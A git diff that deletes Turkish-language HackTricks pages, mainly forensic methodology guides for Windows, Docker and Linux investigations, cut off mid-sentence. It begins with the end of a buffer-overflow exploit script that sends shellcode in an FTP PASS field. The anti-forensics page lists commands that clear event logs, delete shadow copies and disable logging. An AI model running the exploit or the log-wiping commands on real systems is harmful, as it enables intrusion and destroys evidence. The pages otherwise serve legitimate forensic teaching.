-"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1" -"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a" -"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d" -"\x2d\xb8\x63\xe2\x4e\xe9" -) - -buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -> [!WARNING] -> Kendini **üst üste yazacak** shellcode'lar vardır, bu nedenle shellcode'dan önce her zaman bazı NOP'lar eklemek önemlidir. - -## Shellcode'u Geliştirme - -Bu parametreleri ekleyin: -``` -EXITFUNC=thread -e x86/shikata_ga_nai -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md deleted file mode 100644 index cae5d64e1..000000000 --- a/src/forensics/basic-forensic-methodology/README.md +++ /dev/null @@ -1,82 +0,0 @@ -# Temel Adli Metodoloji - -{{#include ../../banners/hacktricks-training.md}} - -## Bir Görüntü Oluşturma ve Bağlama - -{{#ref}} -../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md -{{#endref}} - -## Kötü Amaçlı Yazılım Analizi - -Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosya, dosya sistemi görüntüsü, bellek görüntüsü, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Bir Görüntüyü İnceleme - -Eğer size bir **adli görüntü** verilirse, **bölümleri, kullanılan dosya sistemini** analiz etmeye ve potansiyel olarak **ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin: - -{{#ref}} -partitions-file-systems-carving/ -{{#endref}} - -Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır: - -{{#ref}} -windows-forensics/ -{{#endref}} - -{{#ref}} -linux-forensics.md -{{#endref}} - -{{#ref}} -docker-forensics.md -{{#endref}} - -## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi - -Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **numara** faydalı olabilir.\ -Bazı ilginç numaraları öğrenmek için aşağıdaki sayfayı okuyun: - -{{#ref}} -specific-software-file-type-tricks/ -{{#endref}} - -Özel olarak şu sayfayı belirtmek istiyorum: - -{{#ref}} -specific-software-file-type-tricks/browser-artifacts.md -{{#endref}} - -## Bellek Dökümü İncelemesi - -{{#ref}} -memory-dump-analysis/ -{{#endref}} - -## Pcap İncelemesi - -{{#ref}} -pcap-inspection/ -{{#endref}} - -## **Anti-Adli Teknikler** - -Anti-adli tekniklerin olası kullanımını aklınızda bulundurun: - -{{#ref}} -anti-forensic-techniques.md -{{#endref}} - -## Tehdit Avı - -{{#ref}} -file-integrity-monitoring.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md deleted file mode 100644 index 2c562c8ec..000000000 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ /dev/null @@ -1,151 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Zaman Damgaları - -Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\ -Zaman damgalarını, `$STANDARD_INFORMATION`**ve**`$FILE_NAME` öznitelikleri içinde MFT'de bulmak mümkündür. - -Her iki öznitelikte de 4 zaman damgası vardır: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB). - -**Windows Gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir. - -## TimeStomp - Anti-forensic Aracı - -Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ama** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür. - -## Usnjrnl - -**USN Journal** (Güncelleme Sırası Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesini sağlar. - -![](<../../images/image (449).png>) - -Önceki resim, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**. - -## $LogFile - -**Bir dosya sistemine yapılan tüm meta veri değişiklikleri**, [ön yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri belirlemek için kullanılabilir. - -![](<../../images/image (450).png>) - -Yine, aracın çıktısında **bazı değişikliklerin yapıldığını** görmek mümkündür. - -Aynı aracı kullanarak, **zaman damgalarının hangi zamana kadar değiştirildiğini** belirlemek mümkündür: - -![](<../../images/image (451).png>) - -- CTIME: Dosyanın oluşturulma zamanı -- ATIME: Dosyanın değiştirilme zamanı -- MTIME: Dosyanın MFT kayıt değişikliği -- RTIME: Dosyanın erişim zamanı - -## `$STANDARD_INFORMATION` ve `$FILE_NAME` karşılaştırması - -Şüpheli değiştirilmiş dosyaları belirlemenin bir diğer yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzluklar** aramaktır. - -## Nanosecond - -**NTFS** zaman damgalarının **kesinliği** **100 nanosecond**'dir. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaları bulmak **çok şüphelidir**. - -## SetMace - Anti-forensic Aracı - -Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemine ihtiyaç vardır. - -# Veri Gizleme - -NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kapladığında, **kalan yarımın asla kullanılmayacağı** anlamına gelir, ta ki dosya silinene kadar. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**. - -Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir: - -![](<../../images/image (452).png>) - -Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkündür. Bu tür araçların içeriği obfuscate veya hatta şifreli olarak kaydedebileceğini unutmayın. - -# UsbKill - -Bu, **USB** portlarında herhangi bir değişiklik tespit edildiğinde bilgisayarı **kapatan** bir araçtır.\ -Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir çalışan python betiğini gözden geçirmektir**. - -# Canlı Linux Dağıtımları - -Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespit etmenin tek yolu, **NTFS dosya sisteminin yazma izinleriyle monte edilmesidir**. Sadece okuma izinleriyle monte edilirse, ihlali tespit etmek mümkün olmayacaktır. - -# Güvenli Silme - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Windows Yapılandırması - -Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlükleme yöntemini devre dışı bırakmak mümkündür. - -## Zaman Damgalarını Devre Dışı Bırak - UserAssist - -Bu, her çalıştırılan yürütülebilir dosyanın tarihlerini ve saatlerini koruyan bir kayıt anahtarıdır. - -UserAssist'i devre dışı bırakmak iki adım gerektirir: - -1. UserAssist'i devre dışı bırakmak istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt anahtarını sıfıra ayarlayın. -2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` gibi görünen kayıt alt ağaçlarınızı temizleyin. - -## Zaman Damgalarını Devre Dışı Bırak - Prefetch - -Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi kaydedecektir. Ancak, bu adli uygulamalar için de faydalı olabilir. - -- `regedit` çalıştırın -- Dosya yolunu `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` seçin -- `EnablePrefetcher` ve `EnableSuperfetch` üzerinde sağ tıklayın -- Her birinin değerini 1 (veya 3) yerine 0 olarak değiştirmek için Değiştir'i seçin -- Yeniden başlatın - -## Zaman Damgalarını Devre Dışı Bırak - Son Erişim Zamanı - -Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör için **bir zaman damgası alanını güncellemek için zamanı alır**, buna son erişim zamanı denir. Yoğun kullanılan bir NTFS hacminde, bu performansı etkileyebilir. - -1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın. -2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin. -3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır. -4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın. - -## USB Geçmişini Sil - -Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya Dizüstü Bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini sileceksiniz.\ -Ayrıca, bunları sildiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını da kullanabilirsiniz (ve silmek için). - -USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir. - -## Gölge Kopyalarını Devre Dışı Bırak - -**Gölge kopyaları** listelemek için `vssadmin list shadowstorage`\ -**Silmek** için `vssadmin delete shadow` komutunu çalıştırın. - -Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz. - -Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin: - -1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın. -2. Listeden "Hacim Gölge Kopyası"nı bulun, seçin ve sağ tıklayarak Özellikler'e erişin. -3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın. - -Hangi dosyaların gölge kopyasında kopyalanacağını yapılandırmayı da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ile değiştirmek mümkündür. - -## Silinmiş Dosyaları Üzerine Yaz - -- **Windows aracı** kullanabilirsiniz: `cipher /w:C` Bu, şifreleme aracına C sürücüsündeki kullanılmayan disk alanından herhangi bir veriyi kaldırmasını belirtir. -- Ayrıca, [**Eraser**](https://eraser.heidi.ie) gibi araçlar da kullanabilirsiniz. - -## Windows Olay Günlüklerini Sil - -- Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle"yi seçin -- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Windows Olay Günlüklerini Devre Dışı Bırak - -- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Hizmetler bölümünde "Windows Olay Günlüğü" hizmetini devre dışı bırakın -- `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl` - -## $UsnJrnl'yi Devre Dışı Bırak - -- `fsutil usn deletejournal /d c:` - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md deleted file mode 100644 index e374693b6..000000000 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ /dev/null @@ -1,96 +0,0 @@ -# Docker Forensics - -{{#include ../../banners/hacktricks-training.md}} - - -## Container modification - -Bazı docker konteynerlerinin tehlikeye atıldığına dair şüpheler var: -```bash -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress -``` -Bu konteynerde **görüntü ile ilgili yapılan değişiklikleri kolayca bulabilirsiniz**: -```bash -docker diff wordpress -C /var -C /var/lib -C /var/lib/mysql -A /var/lib/mysql/ib_logfile0 -A /var/lib/mysql/ib_logfile1 -A /var/lib/mysql/ibdata1 -A /var/lib/mysql/mysql -A /var/lib/mysql/mysql/time_zone_leap_second.MYI -A /var/lib/mysql/mysql/general_log.CSV -... -``` -Önceki komutta **C** **Değiştirildi** ve **A,** **Eklendi** anlamına gelir.\ -Eğer `/etc/shadow` gibi ilginç bir dosyanın değiştirildiğini bulursanız, kötü niyetli etkinlikleri kontrol etmek için dosyayı konteynerden indirmek için: -```bash -docker cp wordpress:/etc/shadow. -``` -Aynı zamanda **orijinal olanla karşılaştırabilirsiniz** yeni bir konteyner çalıştırarak ve içinden dosyayı çıkararak: -```bash -docker run -d lamp-wordpress -docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container -diff original_shadow shadow -``` -Eğer **şüpheli bir dosyanın eklendiğini** bulursanız, konteynıra erişip kontrol edebilirsiniz: -```bash -docker exec -it wordpress bash -``` -## Görüntü Modifikasyonları - -Bir dışa aktarılmış docker görüntüsü (muhtemelen `.tar` formatında) verildiğinde, **değişikliklerin bir özetini çıkarmak için** [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) kullanabilirsiniz: -```bash -docker save > image.tar #Export the image to a .tar file -container-diff analyze -t sizelayer image.tar -container-diff analyze -t history image.tar -container-diff analyze -t metadata image.tar -``` -Ardından, görüntüyü **açabilirsiniz** ve **blob'lara erişebilirsiniz**; böylece değişiklik geçmişinde bulmuş olabileceğiniz şüpheli dosyaları arayabilirsiniz: -```bash -tar -xf image.tar -``` -### Temel Analiz - -Görüntüden **temel bilgiler** alabilirsiniz: -```bash -docker inspect -``` -Ayrıca **değişiklikler tarihi** özeti alabilirsiniz: -```bash -docker history --no-trunc -``` -Bir **görüntüden dockerfile oluşturabilirsiniz**: -```bash -alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> -``` -### Dive - -Docker görüntülerinde eklenmiş/değiştirilmiş dosyaları bulmak için [**dive**](https://github.com/wagoodman/dive) (bunu [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) üzerinden indirin) aracını da kullanabilirsiniz: -```bash -#First you need to load the image in your docker repo -sudo docker load < image.tar 1 ⨯ -Loaded image: flask:latest - -#And then open it with dive: -sudo dive flask:latest -``` -Bu, **docker görüntülerinin farklı blob'ları arasında gezinmenizi** ve hangi dosyaların değiştirildiğini/eklendiğini kontrol etmenizi sağlar. **Kırmızı** eklenmiş anlamına gelir ve **sarı** değiştirilmiş anlamına gelir. Diğer görünüme geçmek için **tab** tuşunu ve klasörleri daraltmak/açmak için **space** tuşunu kullanın. - -Die ile görüntünün farklı aşamalarının içeriğine erişemeyeceksiniz. Bunu yapmak için **her katmanı sıkıştırmanız ve erişmeniz** gerekecek.\ -Görüntü sıkıştırıldığında, görüntüden tüm katmanları sıkıştırmak için şu dizinde çalıştırabilirsiniz: -```bash -tar -xf image.tar -for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done -``` -## Bellekten Kimlik Bilgileri - -Bir docker konteynerini bir ana bilgisayar içinde çalıştırdığınızda **ana bilgisayardan konteynerde çalışan süreçleri görebileceğinizi** unutmayın, sadece `ps -ef` komutunu çalıştırarak. - -Bu nedenle (root olarak) **ana bilgisayardan süreçlerin belleğini dökebilir** ve **kimlik bilgilerini** arayabilirsiniz, [**aşağıdaki örnekteki gibi**](../../linux-hardening/privilege-escalation/index.html#process-memory). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md deleted file mode 100644 index d9c20552f..000000000 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ /dev/null @@ -1,26 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Temel - -Bir temel, bir sistemin belirli bölümlerinin anlık görüntüsünü almayı içerir ve **değişiklikleri vurgulamak için gelecekteki bir durumla karşılaştırma yapar**. - -Örneğin, dosya sistemindeki her dosyanın hash'ini hesaplayıp saklayarak hangi dosyaların değiştirildiğini bulabilirsiniz.\ -Bu, oluşturulan kullanıcı hesapları, çalışan süreçler, çalışan hizmetler ve çok fazla değişmemesi gereken veya hiç değişmemesi gereken diğer şeyler için de yapılabilir. - -## Dosya Bütünlüğü İzleme - -Dosya Bütünlüğü İzleme (FIM), dosyalardaki değişiklikleri izleyerek BT ortamlarını ve verileri koruyan kritik bir güvenlik tekniğidir. İki ana adımı içerir: - -1. **Temel Karşılaştırması:** Değişiklikleri tespit etmek için gelecekteki karşılaştırmalar için dosya özellikleri veya kriptografik kontrol toplamları (MD5 veya SHA-2 gibi) kullanarak bir temel oluşturun. -2. **Gerçek Zamanlı Değişiklik Bildirimi:** Dosyalar erişildiğinde veya değiştirildiğinde, genellikle işletim sistemi çekirdek uzantıları aracılığıyla anında bildirim alın. - -## Araçlar - -- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) -- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) - -## Referanslar - -- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md deleted file mode 100644 index 9b9134af2..000000000 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ /dev/null @@ -1,370 +0,0 @@ -# Linux Forensics - -{{#include ../../banners/hacktricks-training.md}} - -## İlk Bilgi Toplama - -### Temel Bilgiler - -Öncelikle, üzerinde **iyi bilinen ikili dosyalar ve kütüphaneler bulunan bir **USB** bulundurmanız önerilir** (sadece ubuntu alıp _/bin_, _/sbin_, _/lib,_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve bu ikili dosyaları kullanmak için çevre değişkenlerini değiştirin: -```bash -export PATH=/mnt/usb/bin:/mnt/usb/sbin -export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 -``` -Sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: -```bash -date #Date and time (Clock may be skewed, Might be at a different timezone) -uname -a #OS info -ifconfig -a || ip a #Network interfaces (promiscuous mode?) -ps -ef #Running processes -netstat -anp #Proccess and ports -lsof -V #Open files -netstat -rn; route #Routing table -df; mount #Free space and mounted devices -free #Meam and swap space -w #Who is connected -last -Faiwx #Logins -lsmod #What is loaded -cat /etc/passwd #Unexpected data? -cat /etc/shadow #Unexpected data? -find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory -``` -#### Şüpheli bilgiler - -Temel bilgileri elde ederken, tuhaf şeyler için kontrol etmelisiniz: - -- **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID ile bir root süreci bulursanız şüphelenebilirsiniz. -- `/etc/passwd` içinde bir shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin. -- Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin. - -### Bellek Dökümü - -Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\ -Bunu **derlemek** için, kurban makinesinin kullandığı **aynı çekirdek** ile çalışmalısınız. - -> [!NOTE] -> Kurban makinesine **LiME veya başka bir şey** yükleyemeyeceğinizi unutmayın, çünkü bu makinede birçok değişiklik yapacaktır. - -Bu nedenle, eğer aynı Ubuntu sürümüne sahipseniz `apt-get install lime-forensics-dkms` kullanabilirsiniz.\ -Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıkları ile derlemeniz gerekir. Kurban makinesinin **tam çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/` dizinini makinenize **kopyalayabilir** ve ardından bunları kullanarak LiME'yi **derleyebilirsiniz**: -```bash -make -C /lib/modules//build M=$PWD -sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" -``` -LiME 3 **formatı** destekler: - -- Ham (her segment bir araya getirilmiş) -- Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla) -- Lime (meta verilerle önerilen format) - -LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444` - -### Disk Görüntüleme - -#### Kapatma - -Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olacaktır.\ -Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **kanıtları yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (çok fazla bilgi kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. - -#### Diskin görüntüsünü alma - -**Dava ile ilgili herhangi bir şeye bilgisayarınızı bağlamadan önce**, bunun **sadece okunur olarak monte edileceğinden** emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz. -```bash -#Create a raw copy of the disk -dd if= of= bs=512 - -#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) -dcfldd if= of= bs=512 hash= hashwindow= hashlog= -dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes -``` -### Disk Image ön analizi - -Veri kalmayan bir disk görüntüsünü görüntüleme. -```bash -#Find out if it's a disk image using "file" command -file disk.img -disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) - -#Check which type of disk image it's -img_stat -t evidence.img -raw -#You can list supported types with -img_stat -i list -Supported image format types: -raw (Single or split raw file (dd)) -aff (Advanced Forensic Format) -afd (AFF Multiple File) -afm (AFF with external metadata) -afflib (All AFFLIB image formats (including beta ones)) -ewf (Expert Witness Format (EnCase)) - -#Data of the image -fsstat -i raw -f ext4 disk.img -FILE SYSTEM INFORMATION --------------------------------------------- -File System Type: Ext4 -Volume Name: -Volume ID: 162850f203fd75afab4f1e4736a7e776 - -Last Written at: 2020-02-06 06:22:48 (UTC) -Last Checked at: 2020-02-06 06:15:09 (UTC) - -Last Mounted at: 2020-02-06 06:15:18 (UTC) -Unmounted properly -Last mounted on: /mnt/disk0 - -Source OS: Linux -[...] - -#ls inside the image -fls -i raw -f ext4 disk.img -d/d 11: lost+found -d/d 12: Documents -d/d 8193: folder1 -d/d 8194: folder2 -V/V 65537: $OrphanFiles - -#ls inside folder -fls -i raw -f ext4 disk.img 12 -r/r 16: secret.txt - -#cat file inside image -icat -i raw -f ext4 disk.img 16 -ThisisTheMasterSecret -``` -## Bilinen Kötü Amaçlı Yazılımları Ara - -### Değiştirilmiş Sistem Dosyaları - -Linux, potansiyel olarak sorunlu dosyaları tespit etmek için kritik olan sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar. - -- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. -- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `apt-get install debsums` ile `debsums` yükledikten sonra) ile herhangi bir sorunu tespit edin. - -### Kötü Amaçlı Yazılım/Rootkit Tespit Cihazları - -Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Yüklenmiş Programları Ara - -Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını manuel kontrollerle birlikte kullanmayı düşünün. - -- Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın. -- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. - -Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Bilinen paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin. -```bash -# Debian package and log details -cat /var/lib/dpkg/status | grep -E "Package:|Status:" -cat /var/log/dpkg.log | grep installed -# RedHat RPM database query -rpm -qa --root=/mntpath/var/lib/rpm -# Listing directories for manual installations -ls /usr/sbin /usr/bin /bin /sbin -# Identifying non-package executables (Debian) -find /sbin/ -exec dpkg -S {} \; | grep "no path found" -# Identifying non-package executables (RedHat) -find /sbin/ –exec rpm -qf {} \; | grep "is not" -# Find exacuable files -find / -type f -executable | grep -``` -## Silinmiş Çalışan İkili Dosyaları Kurtarma - -/tmp/exec konumundan çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür. -```bash -cd /proc/3746/ #PID with the exec file deleted -head -1 maps #Get address of the file. It was 08048000-08049000 -dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it -``` -## Autostart konumlarını incele - -### Zamanlanmış Görevler -```bash -cat /var/spool/cron/crontabs/* \ -/var/spool/cron/atjobs \ -/var/spool/anacron \ -/etc/cron* \ -/etc/at* \ -/etc/anacrontab \ -/etc/incron.d/* \ -/var/spool/incron/* \ - -#MacOS -ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ -``` -### Hizmetler - -Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar: - -- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlatma betiklerine yönlendirir. -- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi daha eski Linux sürümlerinde bulunur. -- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır. -- Hizmetler, Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** aracılığıyla da etkinleştirilebilir. -- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. -- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı çalışma seviyesinde başlatılması gereken hizmetlere bağlantılar içerir. -- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetler için. -- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılımlar için bir saklanma yeri olabilir. -- **/lib/systemd/system/**: Yüklenmiş paketler tarafından sağlanan sistem genelindeki varsayılan birim dosyaları. - -### Çekirdek Modülleri - -Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak 